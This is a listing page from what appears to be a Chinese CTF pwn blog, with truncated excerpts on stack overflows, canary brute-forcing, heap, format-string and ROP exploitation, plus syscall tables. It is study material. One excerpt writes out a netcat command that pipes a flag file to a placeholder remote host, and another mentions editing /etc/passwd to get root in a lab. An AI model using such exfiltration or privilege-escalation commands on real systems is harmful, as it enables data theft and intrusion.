-
极客巅峰赛第二场
极客巅峰赛第二场pwn——PlainR2B最简单的栈溢出,其中要注意的就是strcmp对比是以\x00为标志结束的,read这么0x34个字节,0x1c+8个字节就到ret地址,详细见exp。from pwn import *context(os='linux',arch='amd64',aslr = 'False')local = 0#log_level='debug'if local: p = process("./pwn",env={'LD_PRELOAD':'./libc-2.23...…
-
栈溢出(64bit)的一些操作<二>
栈溢出(64位)再来记录一下64位题目,这其中还是有挺多好(ma)玩(fan)的技巧......64位爆破cookie———same as 32bitArch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled因为这道题也是socket来fork子进程来执行的,也是很明显的栈溢出,所以爆破cookie绕canary还是跟32位的差...…
-
栈溢出(32bit)的一些操作<一>
关于32位栈溢出的一些操作最近在做一系列的栈溢出的题目,这里记录一下一些特别的操作,首先介绍32位的......低位覆盖返回地址泄露基地址 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled栈溢出非常明显,之前介绍了一个PIE爆破程序基地址,那种程序使用了ebx的情况下才可以使用...…
-
re 正则表达式学习
re 正则表达式学习参考链接 http://funhacks.net/2016/12/27/regular_expression/ http://www.runoob.com/python/python-reg-expressions.html https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386832260566c26442c671fa489ebc6fe8...…
-
pie_爆破ebx+dup2
level7_pie记录一下提升用户权限 adduser level7 vim /etc/passwd修改对应1000为0,即为提升为root权限与level6不同之处 开了PIE,需要泄露程序地址,但是又没有可以泄露地址的特殊漏洞,开了PIE无法用level6的方法 这个多push了一个ebx(EBX 是”基地址”(base)寄存器, 在内存寻址时存放基地址。)进栈,刚好在canary之后,可以爆破出这个就是程序的基地址加上0x3000(见下图);因此我们的目标转变为爆破这个地址...…
-
cookie爆破
level6_cookie这是一个简单的socket服务器栈溢出的题目溢出漏洞点特点:fork子程序,从同一片内存申请,cookie值一样,可以爆破这里本地调试需要先创建一个具有root权限的level6,然后用该用户来执行该程序,注意这里需要先起一个服务器,然后再nc连上去进行调试一些小知识点和疑问TCP反连;nc反弹shell:cat flag | nc xxx.xxx.xx.xx 8888关于反弹shell的一些资料参考:http://pentestmonkey.net/cheat-...…
-
RCTF babyheap
RCTF babyheap参考文章: fastbin 堆溢出学习之0CTF 2017 Babyheap一些原理chunk overlapping的原理在于ptmalloc的堆块验证机制的不完善,通过一些ptmalloc定义的宏就可以看出这一点。inuse():仅通过下一块的inuse位来判定当前块是否使用.prev_chunk():如果前一个块为空,那么进行空块合并时,仅使用本块的prev_size来寻找前块的头。next_chunk():仅通过本块头+本块大小的方式来寻找下一块的头c...…
-
安装zsh
安装zsh 主题截图集锦 安装参考链接1 安装参考链接2安装zsh命令sudo apt-get install zshsudo apt-get install git-coresh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"chsh -s `which zsh`echo $SHELLcat ~/.zshrc | grep "ZSH_THEME" # 查...…
-
how2heap系列(基础篇)
how2heap系列(基础篇)参考教程 pwndbg教程 first_fit 源码如下:#include <stdio.h>#include <stdlib.h>#include <string.h>int main(){ fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fpri...…
-
64位系统调用查询表
64位系统调用查询表转载自kaka大佬%raxSystem call%rdi%rsi%rdx%r10%r8%r90sys_readunsigned int fdchar *bufsize_t count1sys_writeunsigned int fdconst char *bufsize_t count2sys_openconst char *filenameint flagsint mode3sys_closeunsigned int fd4sys_statconst char *fi...…
-
32位系统调用查询表
32位系统调用查询表转载自kaka大佬eaxebxecxedxesiedi0sys_restart_syscall0x00-----kernel/signal.c:20581sys_exit0x01int error_code----kernel/exit.c:10462sys_fork0x02struct pt_regs *----arch/alpha/kernel/entry.S:7163sys_read0x03unsigned int fdchar __user *bufsize_t...…
-
0ctf/tctf babystack
0ctf/tctf babystack _dl_runtime_resolve源码 Return-to-dl-resolve(相当好的一篇理解性文章) babystack手工 babystack远程 babystack用roputils库 ROP之return to dl-resolve只有一个函数,明显就是一个栈溢出思路,因为溢出的字节不多,而且没有任何泄露函数,所以考虑先进行栈迁移,然后用ret2dlsolve技巧来getshell可以先到这个非常详细的学习地址学习然后就可...…
-
国赛pwn supermarket
国赛 supermarket刚了整个比赛的一道题,走了各种崎岖道路,跳了各种坑,比完赛看wp发现走错了,重要的漏洞点还没发现,在此记录一下做法。首先要了解一下realloc这个函数:realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);指针名=(数据类型*)realloc(要改变内存大小的指针名,新的大小)。新的大小可大可小(如果新的大小大于原内存大小,则新分配部分不会被初始化;如果新的大小小于原内存...…
-
文本格式转换神器pandoc
文本格式转换神器pandoc下载安装网址,下载对应版本,我这里是下载了pandoc-2.2-windows-x86_64.msi,然后安装即可,最后添加环境变量即可使用。相关命令:markdown转word:pandoc -f markdown -t docx ./test.md -o Team233.docx注:其中注意图片的格式为![注释](图片网页地址) Markdown写作进阶:Pandoc入门浅谈 神器Pandoc的安装与使用 文本转换神器——Pandoc 轻量级文档写作...…
-
game server
game server操作内容:首先IDA分析程序,发现有三个输入的地方,但是前面两个都是最多输入256字节大小的字符,并且内容都是用一个指针来指向的,所以并没有出现有溢出点,但是最后输入introduction的时候是用read输入前面snprintf成功读取的字节数,这读取字节数的可控性,而且s又是放在栈上的,这就造成了溢出,如下图:gdb调试找偏移地址的整个过程:以发现返回地址:这时断在read函数,ni单步执行输入introduction的内容,发现可以输入的字节数完全可以覆盖返回...…
-
*CTF babystack
*CTF babystack只有PIE没有开:root@kali:~/Desktop/*ctf/babystack_# checksec bs[*] '/root/Desktop/*ctf/babystack_/bs' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)刚看到的...…
-
百度杯 pwn
百度杯 pwn参考:https://www.anquanke.com/post/id/85785what_the_fuckroot@kali:~/Desktop/ichunqiu# checksec what_the_fuck[*] '/root/Desktop/ichunqiu/what_the_fuck' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: ...…
-
从五个例子来理解格式化字符串漏洞(二)
从五个例子来理解格式化字符串漏洞(二)fsb_relrochecksec 看一下开了的保护root@kali:~/Desktop/release# checksec fsb_relro [*] '/root/Desktop/release/fsb_relro' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: ...…
-
从五个例子来理解格式化字符串漏洞(一)
从五个例子来理解格式化字符串漏洞(一) 下面五个例子的源码和相关程序文件在这里 fsb_easy 源码贴一下:#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <signal.h>void echo() { char buf[0x200]; ...…
-
一步步学ROP系列---x64
一步一步学ROP之linux_x64篇关于PIE的问题的解决来自天枢战队的p4nda(跟大佬聊天好激动)指导aslr是动态库 堆栈的随机化 pie是全部程序加载地址的随机化 二者不太一样开启sudo -s echo 2 > /proc/sys/kernel/randomize_va_space这个开的是aslr。gcc编译的是pie 默认是关闭的 不开启时程序会加载到固定的地址;32位程序默认加载到0x8040000;64位是0x40000。程序是动态加载的,用ELF.symbols...…